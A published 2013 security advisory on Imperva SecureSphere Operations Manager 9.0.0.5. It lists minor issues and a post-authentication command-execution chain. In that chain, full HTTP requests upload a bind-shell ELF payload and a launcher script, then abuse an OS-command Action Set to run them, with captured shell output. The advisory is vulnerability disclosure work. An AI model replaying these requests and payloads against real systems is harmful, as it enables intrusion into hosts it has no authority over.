Imperva SecureSphere Operations Manager Command Execution

`Original: http://www.digitalsec.net/stuff/explt+advs/Imperva-SecureSphere.OptMgr.txt  
  
  
===============================  
- Advisory -  
===============================  
  
Tittle: Imperva SecureSphere Operations Manager - Command  
Execution (Post Authentication) & Minor issues  
Risk: High  
Date: 27.May.2013  
Author: Pedro Andujar  
  
  
.: [ INTRO ] :.  
  
SecureSphere Operations Manager (SOM) is a multi-domain, federated  
management solution that dramatically improves the operational  
efficiency of managing SecureSphere deployments with multiple MX  
Management Servers. SOM meets the operational scalability  
demands of large enterprises and Managed Security Service Providers by  
consolidating the management, visibility and reporting  
across multiple SecureSphere MX Management Servers, and provides  
system wide health metrics and statistics.  
  
  
.: [ TECHNICAL DESCRIPTION ] :.  
  
Imperva SecureSphere Operations Manager version 9.0.0.5 Enterprise  
Edition and probably others are prone to several security issues  
as described below;  
  
  
.: [ ISSUE #1 }:.  
  
Name: Autocomplete atribute not disabled in login page  
Severity: Low  
  
AUTOCOMPLETE is not disabled on the /secsphLogin.jsp page. This  
prevents the web browser specifically caching the username and  
j_password fields.  
  
<tr> <td style="width: 120px"> <h1 class="login">User:</h1> </td> <td>  
<input size=30 id="username" type='text' name='j_username'  
style="width:172px" value="andujarp" />  
<script>document.getElementById("username").focus()</script>  
</td> </tr> <tr>  
<td style="width: 120px">  
<h1 class="login">Password:</h1>  
</td> <td>  
<input size=30 type='password' name='j_password' style="width:172px"/>  
  
  
.: [ ISSUE #2 }:.  
  
Name: Sensitive information is passed as parameter in URL  
Severity: Low  
  
As part of the login process, the assigned session ID is revealed as a  
URL parameter.  
  
GET /SecureSphere/secsphLogin.jsp;jsessionid=8B4AE9F3C99049824D4AEBBF61DEF6A5  
HTTP/1.1  
  
  
Additionally, the some credentials are revealed as a URL parameter  
when trying to get the details of a sensor device:  
  
GET /SecureSphere/j_acegi_security_check?j_password=5352023200062562773&j_username=SOM-user&remote_login_attempt=true&active_mom_user=andujarp  
  
  
  
.: [ ISSUE #3 }:.  
  
Name: Physical Path Disclosure  
Severity: Low  
  
The SecureSpere web application discloses sensitive system  
information, including file path information, through its exposed  
functionality.  
Specifically, the  
/SecureSphere/dwr/call/plaincall/AsyncOperationsContainer.getOperationState.dwr  
url resource shows the internal  
root path of the underlying Application Server;  
  
HTTP/1.1 200 OK  
Content-type: text/javascript;charset=utf-8  
Content-Length: 554  
Date: Thu, 25 Oct 2013 04:41:38 GMT  
Server: NA  
  
throw 'allowScriptTagRemoting is false.';  
//#DWR-INSERT  
//#DWR-REPLY  
var s0={};var s1=[];s0['file_size']="412  
KB";s0.filePath="/opt/SecureSphere/server/SecureSphere/jakarta-tomcat-secsph/webapps/SecureSphere/WEB-INF/reptempt/25CB2F79E342E89AD9A7CFF51AA17F10/1338152502622932642/export.imf"  
  
See also ISSUE #4, where additional file path disclosure occurs.  
  
  
  
.: [ ISSUE #4 }:.  
  
Name: Insufficients checks on file upload  
Severity: High  
  
The SecureSpere web application file upload functionality from the  
.Key Management. section doesn't provide an adequate security control  
of the uploaded  
files, thus allowing an external attacker to upload arbitraty content  
into the server. This can be used as an attacker in combination with  
additional  
vulnerabilities in the application to compromise the Host.  
  
When trying to upload an invalid file in the Key Management section,  
the application shows the full internal path of the application  
server. Additionally,  
it effectively uploads the file, despite being a wrong filetype.  
  
The example below shows the file upload functionality outputting an  
error when the file gets uploaded, additionally revelaing the upload  
filename and its  
internal path within the system. A Linux x86_64 ELF port 2222 bind  
shell and additional shell script are uploaded to /var/tmp dir:  
  
  
POST /SecureSphere/plain/settings.html?__targetView=details&extraParams[Key]=T/keyManagement  
HTTP/1.1  
Host: x.x.x.x:8083  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:16.0) Gecko/20100101 Firefox/16.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Connection: keep-alive  
Referer: https://x.x.x.x:8083/SecureSphere/ui/main.html  
Cookie: JSESSIONID=CBAD5B77716363AFC961614AC32CAD4D  
Content-Type: multipart/form-data;  
boundary=---------------------------6997088307399657971245517506  
Content-Length: 1011  
-----------------------------6997088307399657971245517506  
Content-Disposition: form-data; name="def_name"  
default_key_pair_fips_2  
-----------------------------6997088307399657971245517506  
Content-Disposition: form-data; name="private_key"; filename="bndsh"  
Content-Type: application/octet-stream  
ELF > x@@@8 @@$ j)Xj _j ^HR $ ziHj Zj1Xj2XH1j+XHj ^Hj!Xuj;XH/bin/shSHRWH  
-----------------------------6997088307399657971245517506  
Content-Disposition: form-data; name="public_key"; filename="script"  
Content-Type: application/octet-stream  
file file* | grep ELF | awk '{print $1}' | sed -e 's/://' >target.file  
; chmod 755 `cat target.file` ; ./`cat target.file` ; rm -rf  
target.file  
-----------------------------6997088307399657971245517506  
Content-Disposition: form-data; name="password"  
12321323  
-----------------------------6997088307399657971245517506----------------------------------------------------  
  
  
  
HTTP/1.1 200 OK  
Pragma: no-cache  
Expires: Thu, 01 Jan 1970 00:00:00 GMT  
Cache-Control: no-cache  
Cache-Control: no-store  
Content-Type: text/xml;charset=UTF-8  
Content-Language: en  
Content-Length: 315  
Date: Fri, 26 Oct 2012 04:38:17 GMT  
Server: NA  
<errors> <global-errors> <global-error path="page">  
An error occurred while importing keys: Failed to load PEM key from  
'/var/tmp/com.mprv.secsph.utils.io1217840423292804321upload.file'..</global-error>  
</global-errors> <field-errors> </field-errors> </errors>  
  
  
  
.: [ ISSUE #5 }:.  
  
Name: Insufficients checks on Action Set (OS command)  
Severity: High  
  
The SecureSphere web applicaiton allows users to create Action Sets  
via the Policies sub menu. Action Sets are components used to define  
the actions taken  
by SecureSphere when specific conditions are met. Action sets include  
session blocks, SNMP traps, sys-tem logs, email, FTP Archive, OS  
Command, etc. An  
attacker can control the execution of commands by creating a task,  
setting an OS command action on assignee change and cycling through  
commands by continuous  
modification of the task assignee. The OS command action allows the  
user to supply very limited commands and arguments to the server host  
and have these  
commands executed within the context of the .mxserver. user. The  
application host is running a modified version of Red Hat Linux, with  
many networking and  
scripting tools installed by default. Due to insufficient host  
hardening and application sandboxing, an attacker is able to execute  
commands. Combining the  
file upload vulnerability explained in issue 4, an attacker can copy  
backdoor into the server filesystem and get it executed through this  
issue, opening a  
shell access to the host as the .mxserver. user. The attacker is able  
to use this foothold into the host to elevate privileges, view and  
modify source code,  
obtain system and application credentials, etc.  
  
  
POST /SecureSphere/plain/actionsets.html HTTP/1.1  
Host: x.x.x.x:8083  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:16.0) Gecko/20100101 Firefox/16.0  
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Connection: keep-alive  
X-Requested-With: XMLHttpRequest  
X-Prototype-Version: 1.4.0  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
preffered_encoding: utf-8  
Referer: https://x.x.x.x:8083/SecureSphere/ui/main.html  
Content-Length: 5223  
Cookie: JSESSIONID=ABD89957C38AD685A881670E31A7BF1A  
Pragma: no-cache  
Cache-Control: no-cache  
__targetView=details&currentState=E/secsph/action-set\0x5B@dn=\0x271914115513\0x27\0x5D&data[actionsets][/secsph/action-set\0x5B@dn=\0x271914115513\0x27\0x5D].momSettingsComponent.addToNewMxs=true  
&data[actionsets][/secsph/action-set\0x5B@dn=\0x271914115513\0x27\0x5D].actions.map[5143764432078707607].actionInterface=E/secsph/action-interface\0x5B@dn=\0x27OsCommandAI\0x27\0x5D  
&data[actionsets][/secsph/action-set\0x5B@dn=\0x271914115513\0x27\0x5D].actions.map[5143764432078707607].name=rvshell&data[actionsets][/secsph/action-set\0x5B@dn=\0x271914115513\0x27\0x5D].actions.map  
[5143764432078707607].actionParams.ownerTable=E/secsph/action-set\0x5B@dn=\0x271914115513\0x27\0x5D,actions.map[5143764432078707607]&data[actionsets][/secsph/action-set\0x5B@dn=\0x271914115513\  
0x27\0x5D].actions.map[5143764432078707607].actionParams.parameters.map  
  
[command].value=/usr/bin/find  
  
&data[actionsets][/secsph/action-set\0x5B@dn=\0x271914115513\0x27\0x5D].actions.map[5143764432078707607].actionParams.parameters.map[command].ownerTable=E/secsph/action-set\0x5B@dn=\0x271914115513\0x27\0x5D,  
actions.map[5143764432078707607].actionParams&data[actionsets][/secsph/action-set\0x5B@dn=\0x271914115513\0x27\0x5D].actions.map[5143764432078707607].actionParams.parameters.map[command]  
.parameterMetadata=E/secsph/generic-action-interface-metadata\0x5B@dn=\0x27OsCommand\0x27\0x5D,interfaceParameters.map[command]&data[actionsets][/secsph/action-set\0x5B@dn=\0x271914115513\  
0x27\0x5D].actions.map[5143764432078707607].actionParams.parameters.map[command].name=command&data[actionsets][/secsph/action-set\0x5B@dn=\0x271914115513\0x27\0x5D].actions.map  
[5143764432078707607].actionParams.parameters.map  
  
[arguments].value=-name file\* -exec sh {} \;  
  
&data[actionsets][/secsph/action-set\0x5B@dn=\0x271914115513\0x27\0x5D].actions.map[5143764432078707607].actionParams.parameters.map[arguments].ownerTable=E/secsph/action-set\0x5B@dn=\0x271914115513\0x27\  
0x5D,actions.map[5143764432078707607].actionParams&data[actionsets][/secsph/action-set\0x5B@dn=\0x271914115513\0x27\0x5D].actions.map[5143764432078707607].actionParams.parameters.map[arguments]  
.parameterMetadata=E/secsph/generic-action-interface-metadata\0x5B@dn=\0x27OsCommand\0x27\0x5D,interfaceParameters.map[arguments]&data[actionsets][/secsph/action-set\0x5B@dn=\0x271914115513\0x27\  
0x5D].actions.map[5143764432078707607].actionParams.parameters.map[arguments].name=arguments&data[actionsets][/secsph/action-set\0x5B@dn=\0x271914115513\0x27\0x5D].actions.map[5143764432078707607].actionParams.parameters.map  
  
[workingDir].value=/var/tmp  
  
&data[actionsets][/secsph/action-set\0x5B@dn=\0x271914115513\0x27\0x5D].actions.map[5143764432078707607].actionParams.parameters.map[workingDir].ownerTable=E/secsph/action-set\0x5B@dn=\0x271914115513\0x27\0x5D,actions.map[5143764432078707607].actionParams&data  
[actionsets][/secsph/action-set\0x5B@dn=\0x271914115513\0x27\0x5D].actions.map[5143764432078707607].actionParams.parameters.map[workingDir].parameterMetadata=E/secsph/generic-action-interface-metadata\0x5B  
@dn=\0x27OsCommand\0x27\0x5D,interfaceParameters.map[workingDir]&data[actionsets][/secsph/action-set\0x5B@dn=\0x271914115513\0x27\0x5D].actions.map[5143764432078707607].actionParams.parameters.map[workingDir]  
.name=workingDir&data[actionsets][/secsph/action-set\0x5B@dn=\0x271914115513\0x27\0x5D].actions.map[5143764432078707607].actionParams.parameters.map[shouldRunAlways].value=true&data[actionsets][/secsph/action-set\0x5B  
@dn=\0x271914115513\0x27\0x5D].actions.map[5143764432078707607].actionParams.parameters.map[shouldRunAlways].ownerTable=E/secsph/action-set\0x5B@dn=\0x271914115513\0x27\0x5D,actions  
.map[5143764432078707607].actionParams&data[actionsets][/secsph/action-set\0x5B@dn=\0x271914115513\0x27\0x5D].actions.map[5143764432078707607].actionParams.parameters.map[shouldRunAlways]  
.parameterMetadata=E/secsph/generic-action-interface-metadata\0x5B@dn=\0x27OsCommand\0x27\0x5D,interfaceParameters.map[shouldRunAlways]&data[actionsets][/secsph/action-set\0x5B@dn=  
\0x271914115513\0x27\0x5D].actions.map[5143764432078707607].actionParams.parameters.map[shouldRunAlways].name=shouldRunAlways&data[actionsets][/secsph/action-set\0x5B@dn=\0x271914115513\0x27\0x5D]  
.actions.map[5143764432078707607].ownerTable=E/secsph/action-set\0x5B@dn=\0x271914115513\0x27\0x5D&_=  
  
  
In the example above, we have set an event action-set, and as soon the  
event happens it will launch the predefined action (/usr/bin/find .  
-exec sh {})  
which will execute sh over all the files existing in /var/tmp. As we  
were able to upload arbitrary content within the local filesystem by  
means of the  
issue 4, the following script that was previously uploaded will be  
executed as well:  
  
file file* | grep ELF | awk '{print $1}' | sed -e 's/://' >target.file  
; chmod 755 `cat target.file` ; ./`cat target.file` ; rm -rf  
target.file  
  
The script will find, rename and execute the bind tcp shell that was  
uploaded before, allowing us to access through an interactive Linux  
shell in port 2222,  
with the privileges of mxserver.  
  
  
[crg@fogheaven ~]$ nc x.x.x.x 2222  
uname -a;id  
Linux xxxxx.xxxx.xx 2.6.18-164.15.1.el5.impl #1 SMP Tue Apr 27  
20:46:55 IDT 2010 x86_64 x86_64 x86_64 GNU/Linux  
uid=502(mxserver)gid=505(mxserver)groups=505(mxservers)  
  
  
  
  
.: [ CHANGELOG ] :.  
  
* 25/Oct/2012: - Audit done, reported to client.  
* 27/May/2013: - Sent to Imperva.  
* 02/Jun/2013: - Public Disclosure.  
  
.: [ SOLUTIONS ] :.  
  
N/A  
  
  
.: [ REFERENCES ] :.  
  
[+] Imperva SecureSphere Operations Manager  
http://www.imperva.com/products/mgt_operations-manager.html  
  
[+] Security Target Document  
http://www.niap-ccevs.org/st/st_vid10466-st.pdf  
  
[+] Ernst & Young Advanced Security Centre - Melbourne  
http://www.ey.com/security/  
  
[+] !dSR - Digital Security Research  
http://www.digitalsec.net/  
  
  
  
  
-=EOF=-  
`